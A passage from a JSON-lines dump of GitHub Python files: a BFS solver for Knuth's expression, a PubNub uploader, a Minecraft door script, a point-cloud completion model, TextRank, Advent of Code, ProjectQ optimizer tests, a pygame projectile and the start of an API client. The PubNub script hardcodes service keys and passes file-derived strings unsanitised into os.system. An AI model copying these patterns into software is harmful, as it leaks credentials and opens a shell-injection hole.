l2))\n\n","repo_name":"KhvostenkoIhor/khvostenko","sub_path":"Lesson_10/dz_10_5.py","file_name":"dz_10_5.py","file_ext":"py","file_size_in_byte":486,"program_lang":"python","lang":"ru","doc_type":"code","stars":0,"dataset":"github-code","pt":"29"} +{"seq_id":"25252515439","text":"import argparse\nimport math\nfrom enum import Enum, auto\nfrom queue import Queue\nfrom typing import List, Union\n\n\nclass State(Enum):\n int = auto()\n float = auto()\n\n\nclass Node:\n def __init__(self, state: State, parent = None, action = None, expression = list):\n self.state = state\n self.parent = parent\n self.action = action\n self.expression = expression\n\n\nclass KnuthExpr:\n def __init__(self, initial, goal):\n self.initial = initial\n self.possible_actions = {math.sqrt, math.factorial, math.floor}\n self.goal = goal\n \n def is_goal(self, state: State):\n return state == self.goal\n\n def actions(self, state: State) -> set:\n assert isinstance(state, int) or isinstance(state, float)\n if state > 100: # don't want factorial to cause overflow\n return {math.sqrt, math.floor}\n\n if state <= 2: # no action will result in anything new\n return set()\n\n if isinstance(state, float):\n return {math.sqrt, math.floor} # can't use factorial on float\n\n if isinstance(state, int):\n return self.possible_actions\n\n def result(self, state: State, action) -> State:\n return action(state)\n\n\ndef expand_node(problem: KnuthExpr, node: Node) -> List[Node]:\n state = node.state\n children = []\n for action in problem.actions(state):\n new_state = problem.result(state, action)\n children.append(\n Node(\n state=new_state,\n parent=node,\n action=action,\n expression=node.expression + [action]\n )\n )\n return children\n\n\ndef BFS(problem: KnuthExpr) -> Union[Node, None]:\n n = Node(state=problem.initial, expression=[3])\n\n frontier = Queue()\n reached_states = set()\n frontier.put(n)\n reached_states.add(problem.initial)\n\n while not frontier.empty():\n node = frontier.get()\n if problem.is_goal(node.state):\n return node\n\n children = expand_node(problem, node)\n for child_node in children:\n state = child_node.state\n if problem.is_goal(state):\n return child_node\n if state not in reached_states:\n frontier.put(child_node)\n reached_states.add(state)\n return None # failed\n\n\ndef main(argv):\n assert argv.initial and argv.goal\n p = KnuthExpr(initial=argv.initial, goal=argv.goal)\n node = BFS(p)\n if node:\n print(node.state)\n print(node.expression)\n if not node:\n print(\"Looks like we failed\")\n \n\nif __name__ == \"__main__\":\n parser = argparse.ArgumentParser(description=\"Uninformed search algorithm for a Knuth's Expression\")\n parser.add_argument(\n \"-g\",\n \"--goal\",\n type=int,\n dest=\"goal\",\n required=True,\n help=\"Goal state for the problem\"\n )\n parser.add_argument(\n \"-i\",\n \"--initial\",\n type=int,\n dest=\"initial\",\n required=True,\n help=\"Initial state for the problem\"\n )\n ARGV = parser.parse_args()\n main(ARGV)\n","repo_name":"Cameronwood611/knuths-expr","sub_path":"knuth_expr.py","file_name":"knuth_expr.py","file_ext":"py","file_size_in_byte":3138,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"29"} +{"seq_id":"36444672173","text":"import sys, os, time, json\nfrom Pubnub import Pubnub\n\ndef userFileGen(name, rHR, phNum, usrNum):\n userFile = ({'name':name,'RHR':rHR,'phNum':phNum,'usrNum':usrNum})\n print('User file created...')\n return userFile\n\npublish_key = 'pub-c-ea55afd0-74eb-4ed4-9f56-4cd96bb87b0a'\nsubscribe_key = 'sub-c-55cf6ccc-4585-11e4-8772-02ee2ddab7fe'\nsecret_key = 'demo'\ncipher_key = ''\nssl_on = False\n\npubnub = Pubnub(publish_key=publish_key, subscribe_key=subscribe_key,\n secret_key=secret_key, cipher_key=cipher_key, ssl_on=ssl_on)\n\nuserFile = open('userFile')\nuserData = userFile.read()\n\nname = userData.split(',')[0]\nrHR = userData.split(',')[1]\nphNum = userData.split(',')[2]\nusrNum = userData.split(',')[3]\n\nusrJson = userFileGen(name,rHR,phNum,usrNum)\n\npubnub.publish('usrid_channel', usrJson)\n\nos.system('./googlet2s.sh User Name ' + name )\nos.system('./googlet2s.sh resting heart rate ' + rHR)\n\nprint('User File Uploaded...')\n\n\n","repo_name":"AnthroTek-Engineering/BioJAK","sub_path":"RasperryPi/python/userIdGen.py","file_name":"userIdGen.py","file_ext":"py","file_size_in_byte":961,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"29"} +{"seq_id":"153604943","text":"from mcpi.minecraft import Minecraft\nmc = Minecraft.create()\n\nx = 10\ny = 11\nz = 12\ngift = mc.getBlock(x, y, z)\nif gift != 0:\n if gift == 57:\n mc.setBlocks(5, -2, 5, 6, -1, 6, 0)\n else:\n mc.setBlocks(4, -3, 4, 7, -3, 4, 10)\nelse:\n mc.postToChat(\"Place an offering on the pedestal.\")\n","repo_name":"Jpub/ProgramWithMinecraft","sub_path":"chapter6-ifStatements/secretDoor.py","file_name":"secretDoor.py","file_ext":"py","file_size_in_byte":305,"program_lang":"python","lang":"en","doc_type":"code","stars":7,"dataset":"github-code","pt":"29"} +{"seq_id":"38993533092","text":"import numpy as np\nimport torch\nimport torch.nn as nn\n# from torch.autograd import Variable\nimport random # noqa\nimport pathmagic # noqa\nfrom models.pointnet import PointNetEncoderSmall\nfrom models.pcssc_models import SC_Module_Small_v2\nfrom models.ggnn import GGNN\nfrom pointnet2_ops.pointnet2_utils import FurthestPointSampling\nimport chamfer_loss.chamfer_distance_modified as cd\nimport torch.nn.functional as F\n\n\n\nclass get_model(nn.Module):\n def __init__(self, sp_size=25, max_node=407):\n super(get_model, self).__init__()\n self.sp_size = sp_size\n self.max_node = max_node\n self.local_pointnet = PointNetEncoderSmall(channel=12)\n self.ggnn = GGNN(512, 262, self.max_node, 30)\n self.sc_decoder = SC_Module_Small_v2()\n self.fps = FurthestPointSampling()\n self.dist = cd.ChamferDistance()\n\n def forward(self, xyz13, overseg_idx, nodes, graph):\n # PointNet for encoding local feat of each superpoint\n superpoints, num_sp = self.regroup_superpoints(xyz13, overseg_idx)\n superpoints = superpoints.transpose(2, 1).contiguous()\n superfeat = superpoints[:, :13, :]\n superpoints = superpoints[:, :12, :]\n feat_local, feat_point = self.local_pointnet(superpoints)\n # GGNN for message passing and globally encoding\n A = graph\n prop_state, annotation = self.prepare_state_annotation(feat_local, num_sp, nodes)\n feat_nodes, feat_global = self.ggnn(prop_state, annotation, A)\n\n # Folding decoder\n feat_global = feat_global.view(-1, 1024, 1)\n feat_global = feat_global.repeat(1, 1, self.max_node)\n feat = torch.cat((feat_global, feat_nodes.transpose(2, 1), annotation.transpose(2, 1)[:, :-6, :]), dim=1)\n feat, true_label, patch_idx, feat_dfc, feat_xyz = self.stack_features(feat, feat_point, superfeat, num_sp, 5)\n xyz, label = self.sc_decoder(feat)\n fps_xyz, fps_label, true_label = self.fps_merge(xyz, label, true_label, feat_xyz, 4096)\n return xyz, label, true_label, patch_idx, fps_xyz, fps_label\n\n def fps_merge(self, xyz, label, true_label, feat_xyz, target_num):\n B = xyz.shape[0]\n points = torch.cat([xyz, feat_xyz], dim=1)\n label = torch.cat([label, label], dim=1)\n true_label = torch.cat([true_label, true_label], dim=1)\n fps_xyz = torch.zeros(B, target_num, 3).float().cuda()\n fps_label = torch.zeros(B, target_num, 16).float().cuda()\n fps_true_label = torch.zeros(B, target_num).float().cuda()\n idx = self.fps_sampling(points, target_num).long().cuda()\n for i in range(B):\n fps_xyz[i, :, :] = points[i, idx[i], :]\n fps_label[i, :, :] = label[i, idx[i], :]\n fps_true_label[i, :] = true_label[i, idx[i]]\n return fps_xyz, fps_label, fps_true_label\n\n def regroup_superpoints(self, xyz12, overseg_idx):\n B, N, D = xyz12.size()\n xyz12 = xyz12.data.cpu().numpy()\n overseg_idx = overseg_idx.data.cpu().numpy().astype('int16')\n sps = []\n num_sp = []\n for batch_idx in range(B):\n idx = overseg_idx[batch_idx]\n for i in range(idx.max()+1):\n tmp_idx = np.where(idx == i)\n superpoint = xyz12[batch_idx][tmp_idx]\n # superpoint = self.normalize(superpoint)\n sps.append(superpoint)\n num_sp.append(idx.max()+1)\n num_sp = np.array(num_sp).astype('int16').tolist()\n superpoints = []\n for sp in sps:\n if(sp.shape[0] >= self.sp_size):\n sp = torch.Tensor(sp).view(1, -1, D).cuda().contiguous()\n idx = self.fps_sampling(sp[:, :, :3].contiguous(), self.sp_size).long()\n sp = sp[:, idx[0], :]\n superpoints.append(sp)\n else:\n repeat_time = int(self.sp_size / sp.shape[0]) + 1\n sp = np.tile(sp, (repeat_time, 1))\n sp = torch.Tensor(sp[:self.sp_size, :]).view(1, self.sp_size, D).cuda()\n superpoints.append(sp)\n superpoints = torch.cat(superpoints, dim=0)\n return superpoints, num_sp\n\n def normalize(self, superpoint):\n xyz = superpoint[:, :3]\n centroid = xyz.mean(axis=0)\n cen = np.tile(centroid, (xyz.shape[0], 1))\n superpoint = np.hstack((xyz-cen, superpoint[:, 3:]))\n return superpoint\n\n def prepare_state_annotation(self, feat_local, num_sp, nodes):\n '''\n input: feat_local: N_sp * 256\n batch_size: B * 1\n '''\n B = len(num_sp)\n D = feat_local.shape[1]\n annotation = torch.zeros((B, self.max_node, D+6)).float().cuda()\n prop_state = torch.zeros((B, self.max_node, 512)).float().cuda()\n feat_slice = torch.split(feat_local, num_sp, dim=0)\n for i in range(B):\n annotation[i, :num_sp[i], :D] = feat_slice[i]\n annotation[i, :, D:D+6] = nodes[i, :, 0:6]\n prop_state[i, :num_sp[i], :D+6] = annotation[i, :num_sp[i], :]\n return prop_state, annotation\n\n def replicate(self, tensor, grid_size):\n B, D, N = tensor.shape\n slice_one = np.ones(N).astype('int16').tolist()\n tensor_sliced = torch.split(tensor, slice_one, dim=2)\n new_tensor_sliced = []\n for i in range(N):\n s = tensor_sliced[i]\n s = s.repeat(1, 1, grid_size * grid_size)\n new_tensor_sliced.append(s)\n tensor = torch.cat(new_tensor_sliced, dim=2)\n return tensor\n\n def stack_features(self, feat, feat_point, superfeat, num_sp, rep, target_num=4096):\n B, D, _ = feat.shape\n feat_point = torch.cat((feat_point, superfeat), dim=1).transpose(2, 1) # Nsp * 25 * 77\n feat_point_slice = torch.split(feat_point, num_sp)\n feat_final = []\n for i in range(B):\n feat_p = feat_point_slice[i].reshape(1, -1, 77)\n feat_p = feat_p.transpose(2, 1)\n feat_sp = feat[i, :, :num_sp[i]].reshape(1, D, -1)\n n = feat_sp.shape[2]\n over_idx = torch.Tensor(np.repeat(np.arange(n), rep*rep).reshape(1, 1, n*rep*rep)).cuda()\n feat_sp = self.replicate(feat_sp, rep)\n feat_sp = torch.cat([feat_sp, feat_p, over_idx], dim=1)\n feat_sp = self.importance_sampling(feat_sp, target_num)\n feat_final.append(feat_sp)\n feat_final = torch.cat(feat_final, dim=0)\n true_label = feat_final.transpose(2, 1)[:, :, -2]\n patch_idx = feat_final.transpose(2, 1)[:, :, -1]\n feat_dfc = feat_final[:, -5:-2, :]\n feat_xyz = feat_final[:, -14:-11, :]\n feat_final = feat_final[:, :-14, :]\n return feat_final, true_label, patch_idx, feat_dfc, feat_xyz.transpose(2, 1).contiguous()\n\n def importance_sampling(self, feat_sp, target_num):\n B, D, N = feat_sp.shape # 1, 1869, N\n if (N <= target_num):\n rep = int(target_num / N) + 1\n feat_sp = feat_sp.repeat(1, 1, rep).contiguous()\n return feat_sp[:, :, :target_num]\n else:\n superxyz = feat_sp[:, -13:-10, :].transpose(2, 1).contiguous()\n idx = self.fps_sampling(superxyz, target_num).long().cuda()[0] # 1 * 4096\n return feat_sp[:, :, idx]\n\n def fps_sampling(self, xyz, npoints):\n # xyz: B, N, 3\n idx = self.fps.apply(xyz, npoints) # B, N\n return idx\n\n\nclass get_loss(nn.Module):\n def __init__(self):\n super(get_loss, self).__init__()\n self.dist = cd.ChamferDistance()\n\n def forward(self, pred_xyz, pred_label, gt_xyzl, true_label, global_epoch):\n gt_xyz = gt_xyzl[:, :, 0:3]\n gt_label = gt_xyzl[:, :, 3]\n loss_cham, _ = self.chamfer_loss(pred_xyz, gt_xyz)\n loss_seg = self.seg_loss(pred_label, true_label)\n if global_epoch >= 255:\n loss_sem_cham = self.semantic_chamfer_distance(pred_xyz, pred_label, gt_xyz, gt_label)\n loss = 0.02 * loss_cham + loss_sem_cham + loss_seg\n else:\n loss_sem_cham = torch.FloatTensor([1000]).cuda()\n loss = 0.005 * loss_cham + loss_seg\n return loss, loss_cham, loss_sem_cham, loss_seg\n\n def emd_loss(self, xyz1, xyz2):\n dist2, assigment = self.dist_emd(xyz1, xyz2, 0.005, 50)\n loss_emd = torch.mean(torch.sqrt(dist2))\n return loss_emd\n\n def chamfer_loss(self, xyz1, xyz2):\n dist1, dist2, idx = self.dist(xyz1, xyz2)\n # idx = self.dist.nn_idx1\n loss = torch.mean(torch.sum(dist1, dim=1) + torch.sum(dist2, dim=1))\n return loss, idx\n\n def mean_chamfer_loss(self, xyz1, xyz2):\n dist1, dist2, idx = self.dist(xyz1, xyz2)\n loss = torch.mean(dist1) + torch.mean(dist2)\n return loss\n\n def seg_loss(self, pred_label, true_label):\n true_label = true_label.long()\n pred_label = pred_label.contiguous().view(-1, 16)\n true_label = true_label.view(-1, 1)[:, 0]\n loss = F.nll_loss(pred_label, true_label)\n return loss\n\n def semantic_chamfer_distance(self, pred_xyz, pred_label, gt_xyz, gt_label):\n B, _, _ = pred_xyz.shape\n loss_cham = torch.zeros(16).cuda()\n times_cham = torch.zeros(16).cuda()\n weights = np.array([1, 1, 1, 1, 1, 0.01, 1, 1, 1, 0.01, 1, 1, 1, 1, 1, 1])\n class_weights = torch.FloatTensor(weights)\n for i in range(B):\n pred_l = pred_label[i, :, :].data.cpu().numpy().astype('int16').argmax(axis=1) # 4096\n gt_l = gt_label[i, :].data.cpu().numpy().astype('int16') # 4096\n for j in range(16):\n # if j == 9: # without 'other' class\n # continue\n idx_xyz = (pred_l == j)\n idx_gt = (gt_l == j)\n xyz = pred_xyz[i, idx_xyz, :]\n gt = gt_xyz[i, idx_gt, :]\n if xyz.shape[0] != 0 and gt.shape[0] != 0:\n xyz = xyz.view(1, -1, 3).contiguous()\n gt = gt.view(1, -1, 3).contiguous()\n dist = self.mean_chamfer_loss(xyz, gt)\n loss_cham[j] += (dist * class_weights[j])\n times_cham[j] += 1\n idx_non_zero = (loss_cham != 0)\n loss_cham = loss_cham[idx_non_zero]\n times_cham = times_cham[idx_non_zero]\n loss_cham = loss_cham / times_cham\n loss = loss_cham.sum()\n return loss\n","repo_name":"Gregory24/PCSSC-Net","sub_path":"models/pcsscnet.py","file_name":"pcsscnet.py","file_ext":"py","file_size_in_byte":10501,"program_lang":"python","lang":"en","doc_type":"code","stars":4,"dataset":"github-code","pt":"29"} +{"seq_id":"41987304029","text":"import random\nimport numpy as np\nfrom tqdm import tqdm\n\n\n# def sparse_textrank(vertices, graph, niter=200, dampaning=0.85):\n# ws = random(len(vertices), 1, 1)\n# print(ws.shape)\n# denorm = graph.sum(axis=1)\n# print(denorm.shape)\n# for _ in tqdm(range(niter)):\n# update = (graph / denorm).multiply(ws).sum(axis=0)\n# print(update.shape)\n# ws = (1 - dampening) + update.multiply(dampening)\n# print(ws.shape)\n# return sorted(zip(vertices, ws), key=lambda x: x[1], reverse=True)\n\ndef sum_edges(edges):\n return sum(edges.values())\n\ndef accum(vertices, i, denorm, ws):\n acc = 0\n for edge in vertices[i].edges_in:\n j = vertices[edge]\n edge_ji = j.edges_out.get(i)\n if edge_ji is not None:\n acc += edge_ji / denorm[edge] * ws[edge]\n return acc\n\ndef text_rank_list(vertices, niter=200, dampening=0.85, quiet=True):\n denorm = {}\n ws = []\n for i, vertex in enumerate(vertices):\n denorm[i] = sum_edges(vertex.edges_out)\n ws.append(random.random())\n\n for _ in tqdm(range(niter), disable=quiet):\n updates = {}\n for i in range(len(vertices)):\n acc = accum(vertices, i, denorm, ws)\n updates[i] = acc\n for i, update in updates.items():\n ws[i] = (1 - dampening) + dampening * update\n return sorted(zip(vertices, ws), key=lambda x: x[1], reverse=True)\n\n\ndef text_rank(vertices, graph, niter=200, dampening=0.85, quiet=True):\n ws = np.random.rand(len(vertices), 1)\n denorm = np.reshape(np.sum(graph, axis=1), (-1, 1))\n for _ in tqdm(range(niter), disable=quiet):\n update = np.sum(graph / denorm * ws, axis=0)\n ws = np.reshape((1 - dampening) + dampening * update, (-1, 1))\n ws = np.reshape(ws, (-1,))\n return sorted(zip(vertices, ws), key=lambda x: x[1], reverse=True)\n","repo_name":"JuliRao/backends","sub_path":"venv/lib/python3.6/site-packages/text_rank/text_rank.py","file_name":"text_rank.py","file_ext":"py","file_size_in_byte":1860,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"29"} +{"seq_id":"2029094532","text":"from aocd import get_data, submit\n\nimport itertools\n\n\ndef count_neighbors(grid, orig_cell):\n count = 0\n for cell in itertools.product(*map(lambda x: range(x - 1, x + 2), orig_cell)):\n if cell == orig_cell:\n continue\n if cell in grid:\n count += 1\n return count\n\n\ndef get_dims(grid, n_dims=3):\n return [[g[n] for g in grid] for n in range(n_dims)]\n\n\ndef iterate(grid, n_dims=3):\n new_grid = grid.copy()\n dims = get_dims(grid, n_dims)\n mins = map(min, dims)\n maxes = map(max, dims)\n for cell in itertools.product(\n *[range(mn - 1, mx + 2) for mn, mx in zip(mins, maxes)]\n ):\n neighbors = count_neighbors(grid, cell)\n if cell in grid:\n if neighbors not in (2, 3):\n new_grid.remove(cell)\n elif neighbors == 3:\n new_grid.add(cell)\n return new_grid\n\n\ndef make_grid(rows, n_dims):\n # All but 2 of our dimensions should be 0\n zeros = [0 for _ in range(n_dims - 2)]\n\n # Only store active cells\n return {\n (i, j, *zeros)\n for i, row in enumerate(rows)\n for j, point in enumerate(row)\n if point == \"#\"\n }\n\n\nif __name__ == \"__main__\":\n rows = get_data().split()\n\n grid = make_grid(rows, 3)\n for _ in range(6):\n grid = iterate(grid, 3)\n\n answer_a = len(grid)\n submit(answer_a, part=\"a\", day=17, year=2020)\n\n grid = make_grid(rows, 4)\n for _ in range(6):\n grid = iterate(grid, 4)\n\n answer_b = len(grid)\n submit(answer_b, part=\"b\", day=17, year=2020)\n","repo_name":"zingbretsen/advent-of-code-2020","sub_path":"day17.py","file_name":"day17.py","file_ext":"py","file_size_in_byte":1553,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"29"} +{"seq_id":"20044826154","text":"import math\n\nimport pytest\n\nfrom projectq import MainEngine\nfrom projectq.cengines import DummyEngine, _optimize\nfrom projectq.ops import (\n CNOT,\n AllocateQubitGate,\n ClassicalInstructionGate,\n FastForwardingGate,\n H,\n Rx,\n Ry,\n X,\n)\n\n\ndef test_local_optimizer_init_api_change():\n with pytest.warns(DeprecationWarning):\n tmp = _optimize.LocalOptimizer(m=10)\n assert tmp._cache_size == 10\n\n local_optimizer = _optimize.LocalOptimizer()\n assert local_optimizer._cache_size == 5\n\n local_optimizer = _optimize.LocalOptimizer(cache_size=10)\n assert local_optimizer._cache_size == 10\n\n\ndef test_local_optimizer_caching():\n local_optimizer = _optimize.LocalOptimizer(cache_size=4)\n backend = DummyEngine(save_commands=True)\n eng = MainEngine(backend=backend, engine_list=[local_optimizer])\n # Test that it caches for each qubit 3 gates\n qb0 = eng.allocate_qubit()\n qb1 = eng.allocate_qubit()\n assert len(backend.received_commands) == 0\n H | qb0\n H | qb1\n CNOT | (qb0, qb1)\n assert len(backend.received_commands) == 0\n Rx(0.5) | qb0\n assert len(backend.received_commands) == 1\n assert backend.received_commands[0].gate == AllocateQubitGate()\n H | qb0\n assert len(backend.received_commands) == 2\n assert backend.received_commands[1].gate == H\n # Another gate on qb0 means it needs to send CNOT but clear pipeline of qb1\n Rx(0.6) | qb0\n for cmd in backend.received_commands:\n print(cmd)\n assert len(backend.received_commands) == 5\n assert backend.received_commands[2].gate == AllocateQubitGate()\n assert backend.received_commands[3].gate == H\n assert backend.received_commands[3].qubits[0][0].id == qb1[0].id\n assert backend.received_commands[4].gate == X\n assert backend.received_commands[4].control_qubits[0].id == qb0[0].id\n assert backend.received_commands[4].qubits[0][0].id == qb1[0].id\n\n\ndef test_local_optimizer_flush_gate():\n local_optimizer = _optimize.LocalOptimizer(cache_size=4)\n backend = DummyEngine(save_commands=True)\n eng = MainEngine(backend=backend, engine_list=[local_optimizer])\n # Test that it caches for each qubit 3 gates\n qb0 = eng.allocate_qubit()\n qb1 = eng.allocate_qubit()\n H | qb0\n H | qb1\n assert len(backend.received_commands) == 0\n eng.flush()\n # Two allocate gates, two H gates and one flush gate\n assert len(backend.received_commands) == 5\n\n\ndef test_local_optimizer_fast_forwarding_gate():\n local_optimizer = _optimize.LocalOptimizer(cache_size=4)\n backend = DummyEngine(save_commands=True)\n eng = MainEngine(backend=backend, engine_list=[local_optimizer])\n # Test that FastForwardingGate (e.g. Deallocate) flushes that qb0 pipeline\n qb0 = eng.allocate_qubit()\n qb1 = eng.allocate_qubit()\n H | qb0\n H | qb1\n assert len(backend.received_commands) == 0\n qb0[0].__del__()\n # As Deallocate gate is a FastForwardingGate, we should get gates of qb0\n assert len(backend.received_commands) == 3\n\n\ndef test_local_optimizer_cancel_inverse():\n local_optimizer = _optimize.LocalOptimizer(cache_size=4)\n backend = DummyEngine(save_commands=True)\n eng = MainEngine(backend=backend, engine_list=[local_optimizer])\n # Test that it cancels inverses (H, CNOT are self-inverse)\n qb0 = eng.allocate_qubit()\n qb1 = eng.allocate_qubit()\n assert len(backend.received_commands) == 0\n for _ in range(11):\n H | qb0\n assert len(backend.received_commands) == 0\n for _ in range(11):\n CNOT | (qb0, qb1)\n assert len(backend.received_commands) == 0\n eng.flush()\n received_commands = []\n # Remove Allocate and Deallocate gates\n for cmd in backend.received_commands:\n if not (isinstance(cmd.gate, FastForwardingGate) or isinstance(cmd.gate, ClassicalInstructionGate)):\n received_commands.append(cmd)\n assert len(received_commands) == 2\n assert received_commands[0].gate == H\n assert received_commands[0].qubits[0][0].id == qb0[0].id\n assert received_commands[1].gate == X\n assert received_commands[1].qubits[0][0].id == qb1[0].id\n assert received_commands[1].control_qubits[0].id == qb0[0].id\n\n\ndef test_local_optimizer_mergeable_gates():\n local_optimizer = _optimize.LocalOptimizer(cache_size=4)\n backend = DummyEngine(save_commands=True)\n eng = MainEngine(backend=backend, engine_list=[local_optimizer])\n # Test that it merges mergeable gates such as Rx\n qb0 = eng.allocate_qubit()\n for _ in range(10):\n Rx(0.5) | qb0\n assert len(backend.received_commands) == 0\n eng.flush()\n # Expect allocate, one Rx gate, and flush gate\n assert len(backend.received_commands) == 3\n assert backend.received_commands[1].gate == Rx(10 * 0.5)\n\n\ndef test_local_optimizer_identity_gates():\n local_optimizer = _optimize.LocalOptimizer(cache_size=4)\n backend = DummyEngine(save_commands=True)\n eng = MainEngine(backend=backend, engine_list=[local_optimizer])\n # Test that it merges mergeable gates such as Rx\n qb0 = eng.allocate_qubit()\n for _ in range(10):\n Rx(0.0) | qb0\n Ry(0.0) | qb0\n Rx(4 * math.pi) | qb0\n Ry(4 * math.pi) | qb0\n Rx(0.5) | qb0\n assert len(backend.received_commands) == 0\n eng.flush()\n # Expect allocate, one Rx gate, and flush gate\n assert len(backend.received_commands) == 3\n assert backend.received_commands[1].gate == Rx(0.5)\n","repo_name":"ProjectQ-Framework/ProjectQ","sub_path":"projectq/cengines/_optimize_test.py","file_name":"_optimize_test.py","file_ext":"py","file_size_in_byte":5437,"program_lang":"python","lang":"en","doc_type":"code","stars":847,"dataset":"github-code","pt":"29"} +{"seq_id":"21615614088","text":"import pygame\n\n#definition de la classe de projectile\nclass Projectiles(pygame.sprite.Sprite):\n \n # def constructeur de la classe\n def __init__(self, player):\n super().__init__()\n self.velocity = 2.5\n self.player = player\n self.image = pygame.image.load('assets/projectile.png')\n self.image = pygame.transform.scale(self.image, (50,50))\n self.rect = self.image.get_rect()\n self.rect.x = player.rect.x + 120\n self.rect.y = player.rect.y + 80\n self.origin_image = self.image\n self.angle = 0\n \n \n def rotate(self):\n #faire tourner le projectie\n self.angle += 4 # 8 de base\n self.image = pygame.transform.rotozoom(self.origin_image, self.angle, 1)\n self.rect = self.image.get_rect(center=self.rect.center)\n \n def remove(self):\n self.player.all_projectiles.remove(self)\n \n def move(self):\n self.rect.x += self.velocity\n #effectue la rotation\n self.rotate()\n \n #verifier si le projectile rentre en collisionavec le monstre\n for monster in self.player.game.check_collision(self, self.player.game.all_monsters):\n #suppression du projectil au contact du monstre\n self.remove()\n #infliger des degats\n monster.damage(self.player.attack)\n #verifier si le projectil n'est plus à l'écran\n if self.rect.x > 1080:\n #les supprimer\n self.remove()\n #print(\"Projectile supprimé !\")","repo_name":"Jond0/Python_jeu_2d_Graven","sub_path":"projectile.py","file_name":"projectile.py","file_ext":"py","file_size_in_byte":1544,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"29"} +{"seq_id":"10173529528","text":"\"\"\"\nDataloop platform calls\n\"\"\"\nimport aiohttp.client_exceptions\nimport requests_toolbelt\nimport multiprocessing\nimport threading\nimport traceback\nimport datetime\nimport requests\nimport aiohttp\nimport logging\nimport asyncio\nimport certifi\nimport time\nimport tqdm\nimport json\nimport ssl\nimport jwt\nimport os\nimport io\nimport concurrent\nfrom concurrent.futures import ThreadPoolExecutor\nfrom requests.adapters import HTTPAdapter\nfrom urllib3.util import Retry\nfrom functools import wraps\nimport numpy as np\n\nfrom .calls_counter import CallsCounter\nfrom .cookie import CookieIO\nfrom .logins import login, logout, login_secret, login_m2m, gate_url_from_host\nfrom .async_utils import AsyncResponse, AsyncUploadStream, AsyncResponseError, AsyncThreadEventLoop\nfrom .service_defaults import DEFAULT_ENVIRONMENTS, DEFAULT_ENVIRONMENT\nfrom .aihttp_retry import RetryClient\nfrom .. import miscellaneous, exceptions, __version__\n\nlogger = logging.getLogger(name=__name__)\nthreadLock = threading.Lock()\n\n\nclass VerboseLoggingLevel:\n DEBUG = \"debug\"\n INFO = \"info\"\n WARNING = \"warning\"\n ERROR = \"error\"\n CRITICAL = \"critical\"\n\n\nclass PlatformError(Exception):\n \"\"\"\n Error handling for api calls\n \"\"\"\n\n def __init__(self, resp):\n msg = ''\n if hasattr(resp, 'status_code'):\n msg += ''.format(resp.status_code)\n if hasattr(resp, 'reason'):\n msg += ''.format(resp.reason)\n elif hasattr(resp, 'text'):\n msg += ''.format(resp.text)\n super().__init__(msg)\n\n\nclass Verbose:\n __DEFAULT_LOGGING_LEVEL = 'warning'\n __DEFAULT_DISABLE_PROGRESS_BAR = False\n __DEFAULT_PRINT_ALL_RESPONSES = False\n __PRINT_ERROR_LOGS = False\n\n def __init__(self, cookie):\n self.cookie = cookie\n dictionary = self.cookie.get('verbose')\n if isinstance(dictionary, dict):\n self.from_cookie(dictionary)\n else:\n self._logging_level = self.__DEFAULT_LOGGING_LEVEL\n self._disable_progress_bar = self.__DEFAULT_DISABLE_PROGRESS_BAR\n self._print_all_responses = self.__DEFAULT_PRINT_ALL_RESPONSES\n self._print_error_logs = self.__PRINT_ERROR_LOGS\n if os.getenv('DTLPY_REFRESH_TOKEN_METHOD', \"\") == \"proxy\":\n self._print_error_logs = True\n self.to_cookie()\n\n def to_cookie(self):\n dictionary = {'logging_level': self._logging_level,\n 'disable_progress_bar': self._disable_progress_bar,\n 'print_all_responses': self._print_all_responses,\n 'print_error_logs': self._print_error_logs}\n self.cookie.put(key='verbose', value=dictionary)\n\n def from_cookie(self, dictionary):\n self._logging_level = dictionary.get('logging_level', self.__DEFAULT_LOGGING_LEVEL)\n self._disable_progress_bar = dictionary.get('disable_progress_bar', self.__DEFAULT_DISABLE_PROGRESS_BAR)\n self._print_all_responses = dictionary.get('print_all_responses', self.__DEFAULT_PRINT_ALL_RESPONSES)\n self._print_error_logs = dictionary.get('print_error_logs', self.__PRINT_ERROR_LOGS)\n\n @property\n def disable_progress_bar(self):\n return self._disable_progress_bar\n\n @disable_progress_bar.setter\n def disable_progress_bar(self, val):\n self._disable_progress_bar = val\n self.to_cookie()\n\n @property\n def logging_level(self):\n return self._logging_level\n\n @logging_level.setter\n def logging_level(self, val):\n self._logging_level = val\n # set log level\n logging.getLogger('dtlpy').handlers[0].setLevel(logging._nameToLevel[self._logging_level.upper()])\n # write to cookie\n self.to_cookie()\n\n @property\n def print_all_responses(self):\n return self._print_all_responses\n\n @print_all_responses.setter\n def print_all_responses(self, val):\n self._print_all_responses = val\n self.to_cookie()\n\n @property\n def print_error_logs(self):\n return self._print_error_logs\n\n @print_error_logs.setter\n def print_error_logs(self, val):\n self._print_error_logs = val\n self.to_cookie()\n\n\nclass Decorators:\n @staticmethod\n def token_expired_decorator(method):\n @wraps(method)\n def decorated_method(inst, *args, **kwargs):\n # before the method call\n if inst.token_expired():\n if inst.renew_token_method() is False:\n raise exceptions.PlatformException('600', 'Token expired, Please login.'\n '\\nSDK login options: dl.login(), dl.login_token(), '\n 'dl.login_m2m()'\n '\\nCLI login options: dlp login, dlp login-token, '\n 'dlp login-m2m')\n # the actual method call\n result = method(inst, *args, **kwargs)\n # after the method call\n return result\n\n return decorated_method\n\n\nclass ApiClient:\n \"\"\"\n API calls to Dataloop gate\n \"\"\"\n\n def __init__(self, token=None, num_processes=None, cookie_filepath=None):\n ############\n # Initiate #\n ############\n # define local params - read only once from cookie file\n self.renew_token_method = self.renew_token\n self.is_cli = False\n self.session = None\n self._token = None\n self._environments = None\n self._environment = None\n self._verbose = None\n self._fetch_entities = None\n # define other params\n self.last_response = None\n self.last_request = None\n self.platform_exception = None\n self.last_curl = None\n self.minimal_print = True\n # start refresh token\n self.refresh_token_active = True\n # event and pools\n self._thread_pools = dict()\n self._event_loops_dict = dict()\n\n # TODO- remove before release - only for debugging\n self._stopped_pools = list()\n\n if cookie_filepath is None:\n self.cookie_io = CookieIO.init()\n else:\n self.cookie_io = CookieIO(path=cookie_filepath)\n assert isinstance(self.cookie_io, CookieIO)\n self.state_io = CookieIO.init_local_cookie(create=False)\n assert 